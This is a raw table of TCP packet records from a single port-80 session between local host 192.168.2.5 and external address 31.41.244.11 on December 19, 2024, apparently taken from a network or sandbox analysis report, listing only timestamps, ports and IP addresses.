Dec 19, 2024 03:09:12.640361071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.640412092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.640491962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.640547991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.641365051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.641417980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.641550064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.641606092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.642323971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.642437935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.642661095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.643304110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.643368959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.643404961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.643460989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.644310951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.644367933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.644371986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.644426107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.645241976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.645297050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.645339966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.645394087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.646240950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.646358013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.646414042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.647197962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.647253990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.647324085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.647373915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.648185015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.648241997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.648283958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.648336887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.649195910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.649250031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.649292946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.649344921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.650166988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.650285959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.650341034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.651139021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.651191950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.651233912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.651288986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.652096987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.652177095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.652209997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.652261972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.653105021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.653158903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.653193951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.653245926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.654058933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.654185057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.654238939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.655040026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.655093908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.655158997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.655213118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.656050920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.656106949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.656210899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.656266928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.656991959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.657046080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.657092094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.657146931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.658025026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.658097029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.658149958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.658979893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.659029007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.659091949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.659141064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.659948111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.659997940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.660039902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.660088062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.660917997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.660975933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.661019087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.661067963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.661909103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.662005901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.662060976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.662868977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.662947893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.662982941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.663033962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.663871050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.663980961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.664041042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.664820910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.664889097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.664930105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.664983988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.665822029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.665946007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.665978909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.666004896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.666798115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.666856050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.666904926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.666955948 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.667798996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.667853117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.667901993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.667964935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.668756008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.668806076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.668848038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.668916941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.669713020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.669779062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.669814110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.669884920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.670746088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.670847893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.670908928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.671696901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.671761990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.671806097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.671855927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.672687054 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.672741890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.672770977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.672826052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.673651934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.673752069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.673809052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.674684048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.674735069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.674751997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.674802065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.675618887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.675729990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.675800085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.676640034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.676706076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.676745892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.676806927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.677561045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.677628040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.677694082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.677755117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.678533077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.678591013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.678649902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.678718090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.679546118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.679605961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.679685116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.679739952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.680522919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.680588961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.680681944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.680984020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.681528091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.681590080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.681623936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.682495117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.682559013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.682622910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.682677984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.683476925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.683532000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.683645964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.683700085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.684444904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.684499979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.684566021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.684623003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.685430050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.685488939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.685555935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.685616970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.686331987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.686400890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.827357054 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.827487946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.827558041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.827780008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.827810049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.827924013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.827955961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.827991962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.828773975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.828855038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.828949928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.829015970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.829740047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.829803944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.829898119 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.829956055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.830720901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.830781937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.830845118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.830903053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.831693888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.831753016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.831814051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.831871986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.832720995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.832778931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.832849026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.832907915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.833673000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.833733082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.833775997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.833832979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.834645033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.834703922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.834762096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.834816933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.835630894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.835692883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.835736990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.835793972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.836613894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.836675882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.836711884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.836771011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.837575912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.837677956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.837686062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.837743998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.838542938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.838601112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.838660955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.838718891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.839566946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.839629889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.839694023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.839752913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.840527058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.840586901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.840642929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.840702057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.841476917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.841536999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.841599941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.841656923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.842472076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.842531919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.842595100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.842654943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.843467951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.843523026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.843586922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.843643904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.844443083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.844501972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.844566107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.844630957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.845432043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.845491886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.845551968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.845607042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.846390963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.846451998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.846497059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.846553087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.847423077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.847480059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.847486019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.847536087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.848380089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.848439932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.848562956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.848622084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.849431038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.849488974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.849503040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.849560976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.850326061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.850384951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.850438118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.850493908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.851308107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.851370096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.851432085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.851490021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.852310896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.852376938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.852404118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.852458954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.853249073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.853303909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.853352070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.853405952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.854202032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.854259014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.854310989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.854373932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.855182886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.855241060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.855284929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.855339050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.856187105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.856242895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.856298923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.856353045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.857156992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.857211113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.857266903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.857320070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.858119965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.858172894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.858217001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.858270884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.859081030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.859146118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.859213114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.859272003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.860095978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.860152006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.860184908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.860243082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.861083031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.861136913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.861179113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.861232042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.862118006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.862174034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.862205982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.862258911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.863176107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.863230944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.863274097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.863331079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.864016056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.864069939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.864130974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.864192963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.864984989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.865040064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.865130901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.865184069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.865979910 CET	80	49835	31.41.244.11	192.168.2.5
